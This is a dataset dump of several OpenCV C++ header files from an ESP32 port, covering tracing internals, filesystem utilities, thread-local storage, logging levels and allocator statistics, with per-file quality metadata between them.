TraceStorage* getStorage() const;
void recordLocation(const Region::LocationStaticStorage& location);
void recordRegionEnter(const Region& region);
void recordRegionLeave(const Region& region, const RegionStatistics& result);
void recordRegionArg(const Region& region, const TraceArg& arg, const char& value);
inline void stackPush(Region* region, const Region::LocationStaticStorage* location, int64 beginTimestamp)
{
stack.push_back(StackEntry(region, location, beginTimestamp));
}
inline Region* stackTopRegion() const
{
if (stack.empty())
return dummy_stack_top.region;
return stack.back().region;
}
inline const Region::LocationStaticStorage* stackTopLocation() const
{
if (stack.empty())
return dummy_stack_top.location;
return stack.back().location;
}
inline int64 stackTopBeginTimestamp() const
{
if (stack.empty())
return dummy_stack_top.beginTimestamp;
return stack.back().beginTimestamp;
}
inline void stackPop()
{
CV_DbgAssert(!stack.empty());
stack.pop_back();
}
void dumpStack(std::ostream& out, bool onlyFunctions) const;
inline Region* getCurrentActiveRegion()
{
return currentActiveRegion;
}
inline int getCurrentDepth() const { return (int)stack.size(); }
};
class CV_EXPORTS TraceManager
{
public:
TraceManager();
~TraceManager();
static bool isActivated();
Mutex mutexCreate;
Mutex mutexCount;
TLSDataAccumulator<TraceManagerThreadLocal> tls;
cv::Ptr<TraceStorage> trace_storage;
private:
// disable copying
TraceManager(const TraceManager&);
TraceManager& operator=(const TraceManager&);
};
CV_EXPORTS TraceManager& getTraceManager();
inline Region* getCurrentActiveRegion() { return getTraceManager().tls.get()->getCurrentActiveRegion(); }
inline Region* getCurrentRegion() { return getTraceManager().tls.get()->stackTopRegion(); }
void parallelForSetRootRegion(const Region& rootRegion, const TraceManagerThreadLocal& root_ctx);
void parallelForAttachNestedRegion(const Region& rootRegion);
void parallelForFinalize(const Region& rootRegion);
struct Region::LocationExtraData
{
int global_location_id; // 0 - region is disabled
#ifdef OPENCV_WITH_ITT
// Special fields for ITT
__itt_string_handle* volatile ittHandle_name;
__itt_string_handle* volatile ittHandle_filename;
#endif
LocationExtraData(const LocationStaticStorage& location);
static Region::LocationExtraData* init(const Region::LocationStaticStorage& location);
};
class Region::Impl
{
public:
const LocationStaticStorage& location;
Region& region;
Region* const parentRegion;
const int threadID;
const int global_region_id;
const int64 beginTimestamp;
int64 endTimestamp;
int directChildrenCount;
enum OptimizationPath {
CODE_PATH_PLAIN = 0,
CODE_PATH_IPP,
CODE_PATH_OPENCL,
CODE_PATH_OPENVX
};
#ifdef OPENCV_WITH_ITT
bool itt_id_registered;
__itt_id itt_id;
#endif
Impl(TraceManagerThreadLocal& ctx, Region* parentRegion_, Region& region_, const LocationStaticStorage& location_, int64 beginTimestamp_);
void enterRegion(TraceManagerThreadLocal& ctx);
void leaveRegion(TraceManagerThreadLocal& ctx);
void registerRegion(TraceManagerThreadLocal& ctx);
void release();
protected:
~Impl();
};
}}}} // namespace
//! @endcond
#endif
#endif // OPENCV_TRACE_PRIVATE_HPP
| 10,047 | trace.private | hpp | en | cpp | code | {"qsc_code_num_words": 993, "qsc_code_num_chars": 10047.0, "qsc_code_mean_word_length": 6.90130916, "qsc_code_frac_words_unique": 0.22356495, "qsc_code_frac_chars_top_2grams": 0.0393988, "qsc_code_frac_chars_top_3grams": 0.04085802, "qsc_code_frac_chars_top_4grams": 0.0291843, "qsc_code_frac_chars_dupe_5grams": 0.25682183, "qsc_code_frac_chars_dupe_6grams": 0.19363782, "qsc_code_frac_chars_dupe_7grams": 0.14723479, "qsc_code_frac_chars_dupe_8grams": 0.14723479, "qsc_code_frac_chars_dupe_9grams": 0.12111484, "qsc_code_frac_chars_dupe_10grams": 0.08346709, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00888166, "qsc_code_frac_chars_whitespace": 0.2043396, "qsc_code_size_file_byte": 10047.0, "qsc_code_num_lines": 421.0, "qsc_code_num_chars_line_max": 143.0, "qsc_code_num_chars_line_mean": 23.86460808, "qsc_code_frac_chars_alphabet": 0.84838629, "qsc_code_frac_chars_comments": 0.0466806, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.30699088, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01336396, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00303951, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.1337386, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.19756839, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/filesystem.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_FILESYSTEM_HPP
#define OPENCV_UTILS_FILESYSTEM_HPP
namespace cv { namespace utils { namespace fs {
CV_EXPORTS bool exists(const cv::String& path);
CV_EXPORTS bool isDirectory(const cv::String& path);
CV_EXPORTS void remove_all(const cv::String& path);
CV_EXPORTS cv::String getcwd();
/** @brief Converts path p to a canonical absolute path
* Symlinks are processed if there is support for them on running platform.
*
* @param path input path. Target file/directory should exist.
*/
CV_EXPORTS cv::String canonical(const cv::String& path);
/** Join path components */
CV_EXPORTS cv::String join(const cv::String& base, const cv::String& path);
/** Get parent directory */
CV_EXPORTS cv::String getParent(const cv::String &path);
CV_EXPORTS std::wstring getParent(const std::wstring& path);
/**
* Generate a list of all files that match the globbing pattern.
*
* Result entries are prefixed by base directory path.
*
* @param directory base directory
* @param pattern filter pattern (based on '*'/'?' symbols). Use empty string to disable filtering and return all results
* @param[out] result result of globing.
* @param recursive scan nested directories too
* @param includeDirectories include directories into results list
*/
CV_EXPORTS void glob(const cv::String& directory, const cv::String& pattern,
CV_OUT std::vector<cv::String>& result,
bool recursive = false, bool includeDirectories = false);
/**
* Generate a list of all files that match the globbing pattern.
*
* @param directory base directory
* @param pattern filter pattern (based on '*'/'?' symbols). Use empty string to disable filtering and return all results
* @param[out] result globbing result with relative paths from base directory
* @param recursive scan nested directories too
* @param includeDirectories include directories into results list
*/
CV_EXPORTS void glob_relative(const cv::String& directory, const cv::String& pattern,
CV_OUT std::vector<cv::String>& result,
bool recursive = false, bool includeDirectories = false);
CV_EXPORTS bool createDirectory(const cv::String& path);
CV_EXPORTS bool createDirectories(const cv::String& path);
#ifdef __OPENCV_BUILD
// TODO
//CV_EXPORTS cv::String getTempDirectory();
/**
* @brief Returns directory to store OpenCV cache files
* Create sub-directory in common OpenCV cache directory if it doesn't exist.
* @param sub_directory_name name of sub-directory. NULL or "" value asks to return root cache directory.
* @param configuration_name optional name of configuration parameter name which overrides default behavior.
* @return Path to cache directory. Returns empty string if cache directories support is not available. Returns "disabled" if cache disabled by user.
*/
CV_EXPORTS cv::String getCacheDirectory(const char* sub_directory_name, const char* configuration_name = NULL);
#endif
}}} // namespace
#endif // OPENCV_UTILS_FILESYSTEM_HPP
| 3,162 | filesystem | hpp | en | cpp | code | {"qsc_code_num_words": 442, "qsc_code_num_chars": 3162.0, "qsc_code_mean_word_length": 5.33031674, "qsc_code_frac_words_unique": 0.32579186, "qsc_code_frac_chars_top_2grams": 0.0713073, "qsc_code_frac_chars_top_3grams": 0.07173175, "qsc_code_frac_chars_top_4grams": 0.05772496, "qsc_code_frac_chars_dupe_5grams": 0.4040747, "qsc_code_frac_chars_dupe_6grams": 0.4040747, "qsc_code_frac_chars_dupe_7grams": 0.37096774, "qsc_code_frac_chars_dupe_8grams": 0.34550085, "qsc_code_frac_chars_dupe_9grams": 0.34550085, "qsc_code_frac_chars_dupe_10grams": 0.34550085, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0, "qsc_code_frac_chars_whitespace": 0.15528147, "qsc_code_size_file_byte": 3162.0, "qsc_code_num_lines": 82.0, "qsc_code_num_chars_line_max": 150.0, "qsc_code_num_chars_line_mean": 38.56097561, "qsc_code_frac_chars_alphabet": 0.88206664, "qsc_code_frac_chars_comments": 0.60784314, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.25, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.01219512, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.54166667, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.54166667, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 1, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 1, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/tls.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_UTILS_TLS_HPP
#define OPENCV_UTILS_TLS_HPP
#include <opencv2/core/utility.hpp>
namespace cv {
//! @addtogroup core_utils
//! @{
namespace details { class TlsStorage; }
/** TLS container base implementation
*
* Don't use directly.
*
* @sa TLSData, TLSDataAccumulator templates
*/
class CV_EXPORTS TLSDataContainer
{
protected:
TLSDataContainer();
virtual ~TLSDataContainer();
/// @deprecated use detachData() instead
void gatherData(std::vector<void*> &data) const;
/// get TLS data and detach all data from threads (similar to cleanup() call)
void detachData(std::vector<void*>& data);
void* getData() const;
void release();
protected:
virtual void* createDataInstance() const = 0;
virtual void deleteDataInstance(void* pData) const = 0;
private:
int key_;
friend class cv::details::TlsStorage; // core/src/system.cpp
public:
void cleanup(); //!< Release created TLS data container objects. It is similar to release() call, but it keeps TLS container valid.
private:
// Disable copy/assign (noncopyable pattern)
TLSDataContainer(TLSDataContainer &) = delete;
TLSDataContainer& operator =(const TLSDataContainer &) = delete;
};
/** @brief Simple TLS data class
*
* @sa TLSDataAccumulator
*/
template <typename T>
class TLSData : protected TLSDataContainer
{
public:
inline TLSData() {}
inline ~TLSData() { release(); }
inline T* get() const { return (T*)getData(); } //!< Get data associated with key
inline T& getRef() const { T* ptr = (T*)getData(); CV_DbgAssert(ptr); return *ptr; } //!< Get data associated with key
/// Release associated thread data
inline void cleanup()
{
TLSDataContainer::cleanup();
}
protected:
/// Wrapper to allocate data by template
virtual void* createDataInstance() const CV_OVERRIDE { return new T; }
/// Wrapper to release data by template
virtual void deleteDataInstance(void* pData) const CV_OVERRIDE { delete (T*)pData; }
};
/// TLS data accumulator with gathering methods
template <typename T>
class TLSDataAccumulator : public TLSData<T>
{
mutable cv::Mutex mutex;
mutable std::vector<T*> dataFromTerminatedThreads;
std::vector<T*> detachedData;
bool cleanupMode;
public:
TLSDataAccumulator() : cleanupMode(false) {}
~TLSDataAccumulator()
{
release();
}
/** @brief Get data from all threads
* @deprecated replaced by detachData()
*
* Lifetime of vector data is valid until next detachData()/cleanup()/release() calls
*
* @param[out] data result buffer (should be empty)
*/
void gather(std::vector<T*> &data) const
{
CV_Assert(cleanupMode == false); // state is not valid
CV_Assert(data.empty());
{
std::vector<void*> &dataVoid = reinterpret_cast<std::vector<void*>&>(data);
TLSDataContainer::gatherData(dataVoid);
}
{
AutoLock lock(mutex);
data.reserve(data.size() + dataFromTerminatedThreads.size());
for (typename std::vector<T*>::const_iterator i = dataFromTerminatedThreads.begin(); i != dataFromTerminatedThreads.end(); ++i)
{
data.push_back((T*)*i);
}
}
}
/** @brief Get and detach data from all threads
*
* Call cleanupDetachedData() when returned vector is not needed anymore.
*
* @return Vector with associated data. Content is preserved (including lifetime of attached data pointers) until next detachData()/cleanupDetachedData()/cleanup()/release() calls
*/
std::vector<T*>& detachData()
{
CV_Assert(cleanupMode == false); // state is not valid
std::vector<void*> dataVoid;
{
TLSDataContainer::detachData(dataVoid);
}
{
AutoLock lock(mutex);
detachedData.reserve(dataVoid.size() + dataFromTerminatedThreads.size());
for (typename std::vector<T*>::const_iterator i = dataFromTerminatedThreads.begin(); i != dataFromTerminatedThreads.end(); ++i)
{
detachedData.push_back((T*)*i);
}
dataFromTerminatedThreads.clear();
for (typename std::vector<void*>::const_iterator i = dataVoid.begin(); i != dataVoid.end(); ++i)
{
detachedData.push_back((T*)(void*)*i);
}
}
dataVoid.clear();
return detachedData;
}
/// Release associated thread data returned by detachData() call
void cleanupDetachedData()
{
AutoLock lock(mutex);
cleanupMode = true;
_cleanupDetachedData();
cleanupMode = false;
}
/// Release associated thread data
void cleanup()
{
cleanupMode = true;
TLSDataContainer::cleanup();
AutoLock lock(mutex);
_cleanupDetachedData();
_cleanupTerminatedData();
cleanupMode = false;
}
/// Release associated thread data and free TLS key
void release()
{
cleanupMode = true;
TLSDataContainer::release();
{
AutoLock lock(mutex);
_cleanupDetachedData();
_cleanupTerminatedData();
}
}
protected:
// synchronized
void _cleanupDetachedData()
{
for (typename std::vector<T*>::iterator i = detachedData.begin(); i != detachedData.end(); ++i)
{
deleteDataInstance((T*)*i);
}
detachedData.clear();
}
// synchronized
void _cleanupTerminatedData()
{
for (typename std::vector<T*>::iterator i = dataFromTerminatedThreads.begin(); i != dataFromTerminatedThreads.end(); ++i)
{
deleteDataInstance((T*)*i);
}
dataFromTerminatedThreads.clear();
}
protected:
virtual void* createDataInstance() const CV_OVERRIDE
{
// Note: we can collect all allocated data here, but this would require raced mutex locks
return new T;
}
virtual void deleteDataInstance(void* pData) const CV_OVERRIDE
{
if (cleanupMode)
{
delete (T*)pData;
}
else
{
AutoLock lock(mutex);
dataFromTerminatedThreads.push_back((T*)pData);
}
}
};
//! @}
} // namespace
#endif // OPENCV_UTILS_TLS_HPP
| 6,596 | tls | hpp | en | cpp | code | {"qsc_code_num_words": 651, "qsc_code_num_chars": 6596.0, "qsc_code_mean_word_length": 6.21044547, "qsc_code_frac_words_unique": 0.27956989, "qsc_code_frac_chars_top_2grams": 0.03116498, "qsc_code_frac_chars_top_3grams": 0.01978729, "qsc_code_frac_chars_top_4grams": 0.02473411, "qsc_code_frac_chars_dupe_5grams": 0.27430126, "qsc_code_frac_chars_dupe_6grams": 0.20356171, "qsc_code_frac_chars_dupe_7grams": 0.13851101, "qsc_code_frac_chars_dupe_8grams": 0.12589661, "qsc_code_frac_chars_dupe_9grams": 0.06331932, "qsc_code_frac_chars_dupe_10grams": 0.06331932, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00061932, "qsc_code_frac_chars_whitespace": 0.26561552, "qsc_code_size_file_byte": 6596.0, "qsc_code_num_lines": 233.0, "qsc_code_num_chars_line_max": 184.0, "qsc_code_num_chars_line_mean": 28.30901288, "qsc_code_frac_chars_alphabet": 0.83402147, "qsc_code_frac_chars_comments": 0.28562765, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2516129, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01935484, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.16774194, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.20645161, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/logger.defines.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_LOGGER_DEFINES_HPP
#define OPENCV_LOGGER_DEFINES_HPP
//! @addtogroup core_logging
//! @{
// Supported logging levels and their semantic
#define CV_LOG_LEVEL_SILENT 0 //!< for using in setLogLevel() call
#define CV_LOG_LEVEL_FATAL 1 //!< Fatal (critical) error (unrecoverable internal error)
#define CV_LOG_LEVEL_ERROR 2 //!< Error message
#define CV_LOG_LEVEL_WARN 3 //!< Warning message
#define CV_LOG_LEVEL_INFO 4 //!< Info message
#define CV_LOG_LEVEL_DEBUG 5 //!< Debug message. Disabled in the "Release" build.
#define CV_LOG_LEVEL_VERBOSE 6 //!< Verbose (trace) messages. Requires verbosity level. Disabled in the "Release" build.
namespace cv {
namespace utils {
namespace logging {
//! Supported logging levels and their semantic
enum LogLevel {
LOG_LEVEL_SILENT = 0, //!< for using in setLogVevel() call
LOG_LEVEL_FATAL = 1, //!< Fatal (critical) error (unrecoverable internal error)
LOG_LEVEL_ERROR = 2, //!< Error message
LOG_LEVEL_WARNING = 3, //!< Warning message
LOG_LEVEL_INFO = 4, //!< Info message
LOG_LEVEL_DEBUG = 5, //!< Debug message. Disabled in the "Release" build.
LOG_LEVEL_VERBOSE = 6, //!< Verbose (trace) messages. Requires verbosity level. Disabled in the "Release" build.
#ifndef CV_DOXYGEN
ENUM_LOG_LEVEL_FORCE_INT = INT_MAX
#endif
};
}}} // namespace
//! @}
#endif // OPENCV_LOGGER_DEFINES_HPP
| 1,738 | logger.defines | hpp | en | cpp | code | {"qsc_code_num_words": 224, "qsc_code_num_chars": 1738.0, "qsc_code_mean_word_length": 4.96428571, "qsc_code_frac_words_unique": 0.34821429, "qsc_code_frac_chars_top_2grams": 0.10791367, "qsc_code_frac_chars_top_3grams": 0.0692446, "qsc_code_frac_chars_top_4grams": 0.10071942, "qsc_code_frac_chars_dupe_5grams": 0.59622302, "qsc_code_frac_chars_dupe_6grams": 0.56115108, "qsc_code_frac_chars_dupe_7grams": 0.47122302, "qsc_code_frac_chars_dupe_8grams": 0.34532374, "qsc_code_frac_chars_dupe_9grams": 0.34532374, "qsc_code_frac_chars_dupe_10grams": 0.34532374, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01055011, "qsc_code_frac_chars_whitespace": 0.23647871, "qsc_code_size_file_byte": 1738.0, "qsc_code_num_lines": 42.0, "qsc_code_num_chars_line_max": 129.0, "qsc_code_num_chars_line_mean": 41.38095238, "qsc_code_frac_chars_alphabet": 0.82743029, "qsc_code_frac_chars_comments": 0.55696203, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.15384615, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.0, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.0, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/utils/allocator_stats.impl.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_ALLOCATOR_STATS_IMPL_HPP
#define OPENCV_CORE_ALLOCATOR_STATS_IMPL_HPP
#include "./allocator_stats.hpp"
#ifdef CV_CXX11
#include <atomic>
#endif
namespace cv { namespace utils {
#ifdef CV__ALLOCATOR_STATS_LOG
namespace {
#endif
class AllocatorStatistics : public AllocatorStatisticsInterface
{
protected:
#ifdef CV_CXX11
std::atomic<long> curr, total, total_allocs, peak; // ESP32 modification (from <long long> to <long>)
#else
volatile long long curr, total, total_allocs, peak; // overflow is possible, CV_XADD operates with 'int' only
#endif
public:
AllocatorStatistics()
#ifndef CV_CXX11
: curr(0), total(0), total_allocs(0), peak(0)
#endif
{}
~AllocatorStatistics() CV_OVERRIDE {}
// AllocatorStatisticsInterface
#ifdef CV_CXX11
uint64_t getCurrentUsage() const CV_OVERRIDE { return (uint64_t)curr.load(); }
uint64_t getTotalUsage() const CV_OVERRIDE { return (uint64_t)total.load(); }
uint64_t getNumberOfAllocations() const CV_OVERRIDE { return (uint64_t)total_allocs.load(); }
uint64_t getPeakUsage() const CV_OVERRIDE { return (uint64_t)peak.load(); }
/** set peak usage = current usage */
void resetPeakUsage() CV_OVERRIDE { peak.store(curr.load()); }
// Controller interface
void onAllocate(size_t sz)
{
#ifdef CV__ALLOCATOR_STATS_LOG
CV__ALLOCATOR_STATS_LOG(cv::format("allocate: %lld (curr=%lld)", (long long int)sz, (long long int)curr.load()));
#endif
long long new_curr = curr.fetch_add((long long)sz) + (long long)sz;
// peak = std::max((uint64_t)peak, new_curr);
auto prev_peak = peak.load();
while (prev_peak < new_curr)
{
if (peak.compare_exchange_weak(prev_peak, new_curr))
break;
}
// end of peak = max(...)
total += (long long)sz;
total_allocs++;
}
void onFree(size_t sz)
{
#ifdef CV__ALLOCATOR_STATS_LOG
CV__ALLOCATOR_STATS_LOG(cv::format("free: %lld (curr=%lld)", (long long int)sz, (long long int)curr.load()));
#endif
curr -= (long long)sz;
}
#else
uint64_t getCurrentUsage() const CV_OVERRIDE { return (uint64_t)curr; }
uint64_t getTotalUsage() const CV_OVERRIDE { return (uint64_t)total; }
uint64_t getNumberOfAllocations() const CV_OVERRIDE { return (uint64_t)total_allocs; }
uint64_t getPeakUsage() const CV_OVERRIDE { return (uint64_t)peak; }
void resetPeakUsage() CV_OVERRIDE { peak = curr; }
// Controller interface
void onAllocate(size_t sz)
{
#ifdef CV__ALLOCATOR_STATS_LOG
CV__ALLOCATOR_STATS_LOG(cv::format("allocate: %lld (curr=%lld)", (long long int)sz, (long long int)curr));
#endif
uint64_t new_curr = (uint64_t)CV_XADD(&curr, (uint64_t)sz) + sz;
peak = std::max((uint64_t)peak, new_curr); // non-thread safe
//CV_XADD(&total, (uint64_t)sz); // overflow with int, non-reliable...
total += sz;
CV_XADD(&total_allocs, (uint64_t)1);
}
void onFree(size_t sz)
{
#ifdef CV__ALLOCATOR_STATS_LOG
CV__ALLOCATOR_STATS_LOG(cv::format("free: %lld (curr=%lld)", (long long int)sz, (long long int)curr));
#endif
CV_XADD(&curr, (uint64_t)-sz);
}
#endif
};
#ifdef CV__ALLOCATOR_STATS_LOG
} // namespace
#endif
}} // namespace
#endif // OPENCV_CORE_ALLOCATOR_STATS_IMPL_HPP
